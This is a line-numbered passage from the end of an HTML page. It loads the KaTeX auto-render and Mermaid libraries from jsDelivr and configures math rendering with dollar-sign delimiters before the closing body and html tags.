572    <script defer src="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/contrib/auto-render.min.js" integrity="sha384-vZTG03m+2yp6N6BNi5iM4rW4oIwk5DfcNdFfxkk9ZWpDriOkXX8voJBFrAO7MpVl" crossorigin="anonymous"></script>
573    <script>
574      document.addEventListener("DOMContentLoaded", function() {
575        renderMathInElement(document.body, {
576          displayMode: false,
577          // customised options
578          // • auto-render specific keys, e.g.:
579          delimiters: [
580            {left: '$$', right: '$$', display: true},
581            {left: '$', right: '$', display: false},
582          ],
583          // • rendering keys, e.g.:
584          throwOnError : true
585        });
586      });
587    </script>
588    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
589
590
591  </body>
592</html>
593